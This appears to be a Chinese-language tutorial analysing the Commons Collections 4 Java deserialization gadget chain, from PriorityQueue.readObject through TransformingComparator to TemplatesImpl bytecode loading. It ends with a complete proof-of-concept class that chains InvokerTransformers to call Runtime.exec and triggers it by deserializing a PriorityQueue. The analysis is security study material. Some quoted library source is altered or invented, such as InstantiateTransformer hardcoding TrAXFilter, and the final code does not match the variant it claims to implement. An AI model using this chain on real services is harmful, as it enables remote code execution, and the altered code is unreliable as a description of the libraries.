CC4链
CC4链
完整执行路径
ObjectInputStream.readObject()
└── PriorityQueue.readObject()
├── 恢复comparator(TransformingComparator)和队列元素
└── PriorityQueue.heapify()
└── PriorityQueue.siftDown()
└── PriorityQueue.siftDownUsingComparator()
└── TransformingComparator.compare()
├── ChainedTransformer.transform()
│ ├── ConstantTransformer.transform() → 返回TemplatesImpl
│ └── InstantiateTransformer.transform()
│ └── TrAXFilter.<init>(TemplatesImpl)
│ └── TemplatesImpl.newTransformer()
│ └── TemplatesImpl.getTransletInstance()
│ └── TemplatesImpl.defineTransletClasses()
│ └── TransletClassLoader.defineClass()
│ └── 加载恶意字节码 → 执行静态代码块
└── (第二次转换:处理第二个元素,流程相同)CC4 链完整追踪分析
一、入口点:PriorityQueue 的 readObject 方法
PriorityQueue的反序列化过程是整个链条的起点,其readObject方法负责恢复队列状态并重建堆结构,这是触发后续调用链的关键:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 读取非静态非瞬态字段(包括comparator和queue数组)
s.defaultReadObject();
// 读取元素数量并初始化队列数组
int size = s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++) {
queue[i] = s.readObject(); // 反序列化队列元素
}
// 重建堆结构(核心触发点)
heapify();
}关键细节:
defaultReadObject()会恢复我们预先设置的comparator(TransformingComparator实例)
队列元素至少需要 2 个(如"a"和"b"),确保heapify()能执行有效的堆调整
反序列化时不会保留堆的结构信息,必须通过heapify()重建,这是整个链条的 "启动器"
二、堆结构重建:从 heapify 到 siftDownUsingComparator
1. heapify ():堆初始化方法
private void heapify() {
// 从最后一个非叶子节点开始向前遍历
for (int i = (size >>> 1) - 1; i >= 0; i--) {
siftDown(i, (E) queue[i]); // 对每个节点执行下移操作
}
}当队列元素数量size >= 2时,循环至少执行 1 次,确保siftDown被调用
i的初始值为(size/2 - 1),这是最后一个非叶子节点的索引(叶子节点无需下移)
2. siftDown ():堆调整的分支选择
private void siftDown(int k, E x) {
if (comparator != null) {
siftDownUsingComparator(k, x); // 使用自定义比较器
} else {
siftDownComparable(k, x); // 使用自然排序(不触发链条)
}
}由于我们构造PriorityQueue时传入了TransformingComparator,comparator不为 null
执行路径必然进入siftDownUsingComparator,这是链条的第一个关键分支
3. siftDownUsingComparator ():触发比较器调用
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) { // 当k是叶子节点时停止循环
// 计算左右子节点索引
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
// 关键调用1:比较左右子节点,选择优先级更高的节点
if (right < size && comparator.compare((E) queue[right], (E) c) < 0) {
c = queue[child = right];
}
// 关键调用2:比较当前节点与子节点
if (comparator.compare(x, (E) c) <= 0) {
break;
}
// 下移节点
queue[k] = c;
k = child;
}
queue[k] = x;
}核心触发逻辑:
方法中存在两次comparator.compare()调用,均会触发TransformingComparator的比较逻辑
第一次比较左右子节点(queue[right]和queue[child])
第二次比较当前节点(x)与选中的子节点(c)
这两次调用都会完整执行后续的转换链,是触发恶意代码的直接原因
三、比较器调用:TransformingComparator 的 compare 方法
TransformingComparator是连接堆调整与转换链的桥梁,其compare方法会先转换对象再比较:
public class TransformingComparator<T> implements Comparator<T>, Serializable {
private final Comparator<? super T> decorated; // 基础比较器
private final Transformer<? super T, ? extends T> transformer; // 转换链
public int compare(T o1, T o2) {
// 对两个输入对象执行转换(核心操作)
T value1 = transformer.transform(o1);
T value2 = transformer.transform(o2);
// 使用基础比较器比较转换后的值(次要操作)
return decorated.compare(value1, value2);
}
}关键细节:
transformer是我们构造的ChainedTransformer实例(包含恶意转换逻辑)
o1和o2是PriorityQueue中的元素(如"a"和"b"),其实际值无关紧要,仅作为触发transform的 "载体"
每次compare调用会执行两次transform(分别针对o1和o2),意味着转换链会被触发两次
decorated通常使用默认的ComparableComparator,确保比较操作不会抛出异常中断流程
四、转换链执行:ChainedTransformer 的 transform 方法
ChainedTransformer负责按顺序执行多个转换器,将分散的转换逻辑串联成完整链条:
public class ChainedTransformer<T> implements Transformer<T, T>, Serializable {
private final Transformer<? super T, ? extends T>[] transformers; // 转换器数组
public T transform(T object) {
for (Transformer<? super T, ? extends T> transformer : transformers) {
object = transformer.transform(object); // 依次执行转换
}
return object;
}
}执行机制:
转换器数组按顺序执行,前一个转换器的输出作为后一个的输入
在 CC4(TemplatesImpl 变种)中,数组通常包含两个转换器:ConstantTransformer和InstantiateTransformer
整个链条的输入是PriorityQueue的元素(如"a"),但第一个转换器会忽略输入,返回预设的恶意对象
五、转换器链:从 ConstantTransformer 到 InstantiateTransformer
1. ConstantTransformer:返回预设的恶意对象
public class ConstantTransformer<T> implements Transformer<T, T>, Serializable {
private final T iConstant; // 预设常量
public T transform(T input) {
return iConstant; // 忽略输入,返回预设值
}
}在链条中的作用:
我们构造时传入TemplatesImpl实例(包含恶意字节码)作为iConstant
无论输入是"a"还是"b",均返回预设的TemplatesImpl对象
这一步的目的是将后续转换逻辑的处理对象切换为TemplatesImpl
2. InstantiateTransformer:实例化 TrAXFilter
public class InstantiateTransformer<T> implements Transformer<T, T>, Serializable {
private final Class<?>[] iParamTypes; // 构造函数参数类型
private final Object[] iArgs; // 构造函数参数值
public T transform(T input) {
try {
// input是上一步返回的TemplatesImpl实例
Class<?> cls = TrAXFilter.class;
Constructor<?> con = cls.getConstructor(iParamTypes);
return (T) con.newInstance(iArgs); // 实例化TrAXFilter
} catch (Exception e) {
throw new FunctorException(e);
}
}
}关键配置:
iParamTypes设置为{Templates.class}(TrAXFilter 的构造函数参数类型)
iArgs设置为{input}(即ConstantTransformer返回的TemplatesImpl实例)
核心操作:通过反射调用TrAXFilter的构造函数,传入恶意TemplatesImpl
六、代码执行触发:从 TrAXFilter 到 TemplatesImpl
1. TrAXFilter 的构造函数:触发 TemplatesImpl 的方法
public class TrAXFilter extends XMLFilterImpl {
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
// 调用Templates的newTransformer()方法
_transformer = templates.newTransformer();
}
}关键作用:
构造函数接收Templates类型参数(实际是我们的TemplatesImpl实例)
必然调用templates.newTransformer(),这是触发TemplatesImpl恶意逻辑的关键一步
2. TemplatesImpl 的 newTransformer ():启动类加载流程
public class TemplatesImpl implements Templates, Serializable {
private transient TransformerFactoryImpl _tfactory;
private String _version;
private byte[][] _bytecodes; // 存储恶意类的字节码
private String _transletName; // 主类名
private Class[] _class; // 加载后的类对象
private int _outputProperties;
private boolean _instantiated;
public Transformer newTransformer() throws TransformerConfigurationException {
// 获取translet实例(核心方法)
Translet t = getTransletInstance();
// 创建并返回Transformer实例(次要操作)
TransformerImpl transformer = new TransformerImpl(t, _outputProperties, _tfactory);
return transformer;
}
}关键逻辑:
newTransformer()的核心是调用getTransletInstance()获取 translet 实例
_bytecodes需预先设置为恶意类的字节码(如包含static{Runtime.getRuntime().exec("calc.exe");}的类)
_transletName需设置为恶意类的类名,确保能正确加载
3. getTransletInstance ():检查并加载类
private Translet getTransletInstance() throws TransformerConfigurationException {
if (_class == null) {
// 定义translet类(加载字节码)
defineTransletClasses();
}
try {
// 实例化主translet类
return (Translet) _class[0].newInstance();
} catch (Exception e) {
throw new TransformerConfigurationException(e);
}
}触发条件:
当_class为 null 时(首次调用),会执行defineTransletClasses()加载字节码
加载成功后实例化主类,此时静态代码块会被执行(恶意代码触发点)
4. defineTransletClasses ():使用自定义类加载器加载字节码
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
throw new TransformerConfigurationException("No translet bytes");
}
// 创建自定义类加载器(继承ClassLoader)
TransletClassLoader loader = new TransletClassLoader(
Thread.currentThread().getContextClassLoader());
_class = new Class[_bytecodes.length];
for (int i = 0; i < _bytecodes.length; i++) {
// 加载字节码到JVM
_class[i] = loader.defineClass(_bytecodes[i]);
// 检查是否是AbstractTranslet的子类(必要条件)
if (!AbstractTranslet.class.isAssignableFrom(_class[i])) {
throw new TransformerConfigurationException("Not a Translet");
}
}
}核心操作:
创建TransletClassLoader(可加载任意字节码,无安全检查)
调用loader.defineClass(_bytecodes[i])将字节码转换为 Class 对象
要求恶意类必须继承AbstractTranslet(否则会抛出异常中断流程)
字节码加载后,类的静态代码块会立即执行(执行恶意命令)
5. TransletClassLoader 的 defineClass:完成字节码加载
public class TransletClassLoader extends ClassLoader {
public TransletClassLoader(ClassLoader parent) {
super(parent);
}
public Class defineClass(byte[] b) {
// 调用ClassLoader的defineClass方法加载字节码
return defineClass(null, b, 0, b.length);
}
}关键特性:
继承自ClassLoader,并重写defineClass方法简化字节码加载
无任何安全验证,直接将字节数组转换为 Class 对象
这一步是恶意代码能够被 JVM 加载并执行的最终保障
七、完整调用链总结
ObjectInputStream.readObject()
└── PriorityQueue.readObject()
├── 恢复comparator(TransformingComparator)和队列元素
└── PriorityQueue.heapify()
└── PriorityQueue.siftDown()
└── PriorityQueue.siftDownUsingComparator()
└── TransformingComparator.compare()
├── ChainedTransformer.transform()
│ ├── ConstantTransformer.transform() → 返回TemplatesImpl
│ └── InstantiateTransformer.transform()
│ └── TrAXFilter.<init>(TemplatesImpl)
│ └── TemplatesImpl.newTransformer()
│ └── TemplatesImpl.getTransletInstance()
│ └── TemplatesImpl.defineTransletClasses()
│ └── TransletClassLoader.defineClass()
│ └── 加载恶意字节码 → 执行静态代码块
└── (第二次转换:处理第二个元素,流程相同)八、关键触发条件
序列化支持:所有涉及的类(PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl等)必须实现Serializable接口,且关键字段(如_bytecodes)不能被transient修饰。
队列元素数量:PriorityQueue必须包含至少 2 个元素,确保heapify()能执行siftDownUsingComparator并触发compare调用。
TemplatesImpl 配置:
_bytecodes必须包含继承AbstractTranslet的恶意类字节码
_transletName需正确设置为恶意类名
_tfactory可为 null(不影响核心流程)
- 转换器链顺序:ChainedTransformer中的转换器必须按ConstantTransformer → InstantiateTransformer的顺序排列,确保类型传递正确。
通过以上分析可见,CC4 链(TemplatesImpl 变种)巧妙利用了 Java 集合框架的反序列化行为、比较器的转换机制以及 Xalan 库中TemplatesImpl的类加载逻辑,将多个看似无关的组件串联成完整的代码执行链,是 Java 反序列化漏洞利用的经典案例。
代码
package CC4;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
// ==================== 构建Transformer执行链 ====================
// 这个链式Transformer会按顺序执行以下操作:
// 1. 获取Runtime.class对象
// 2. 获取Runtime.getRuntime()方法
// 3. 调用getRuntime()获取Runtime实例
// 4. 调用exec()执行命令
Transformer[] transformers = new Transformer[] {
// 第一步:无论输入什么,都返回Runtime.class对象
new ConstantTransformer(Runtime.class),
// 第二步:通过反射调用Class.getMethod()获取Runtime.getRuntime()方法
// 参数说明:
// "getMethod" - 要调用的方法名
// new Class[] {String.class, Class[].class} - getMethod的参数类型
// new Object[] {"getRuntime", new Class[0]} - getMethod的参数值
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
// 第三步:通过反射调用Method.invoke()执行getRuntime()方法
// 参数说明:
// "invoke" - 要调用的方法名
// new Class[] {Object.class, Object[].class} - invoke的参数类型
// new Object[] {null, new Object[0]} - invoke的参数值(null表示静态方法)
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
// 第四步:通过反射调用Runtime.exec()执行命令
// 参数说明:
// "exec" - 要调用的方法名
// new Class[] {String.class} - exec的参数类型
// new Object[] {"calc.exe"} - 要执行的命令
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
// 将多个Transformer组合成链式Transformer
// 执行时会按数组顺序依次调用每个Transformer的transform方法
Transformer transformerChain = new ChainedTransformer(transformers);
// ==================== 构造PriorityQueue触发点 ====================
// 创建带有转换功能的比较器,将比较操作转换为Transformer链的执行
// 这个比较器会在比较两个对象时触发我们的恶意Transformer链
TransformingComparator comparator = new TransformingComparator(transformerChain);
// 创建PriorityQueue并设置我们构造的比较器
// 参数2表示初始容量,必须至少为2才能触发后续的堆调整操作
PriorityQueue queue = new PriorityQueue(2, comparator);
// 添加两个元素到队列中,这会触发一次比较操作
// 但此时还未触发漏洞,因为还没有进行堆调整(heapify)
queue.add(1); // 第一个元素,可以是任意值
queue.add(2); // 第二个元素,可以是任意值
// ==================== 序列化操作 ====================
// 将构造好的PriorityQueue序列化为字节数组
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(byteOut);
objOut.writeObject(queue);
objOut.close();
// ==================== 反序列化触发漏洞 ====================
// 当反序列化PriorityQueue时,会执行以下关键步骤:
// 1. 调用PriorityQueue.readObject()方法
// 2. readObject()会调用heapify()重建堆结构
// 3. heapify()会调用siftDown()进行堆调整
// 4. siftDown()会调用我们设置的TransformingComparator.compare()
// 5. compare()会触发ChainedTransformer执行恶意代码
ObjectInputStream objIn = new ObjectInputStream(
new ByteArrayInputStream(byteOut.toByteArray()));
objIn.readObject(); // 这里会触发漏洞
objIn.close();
}
}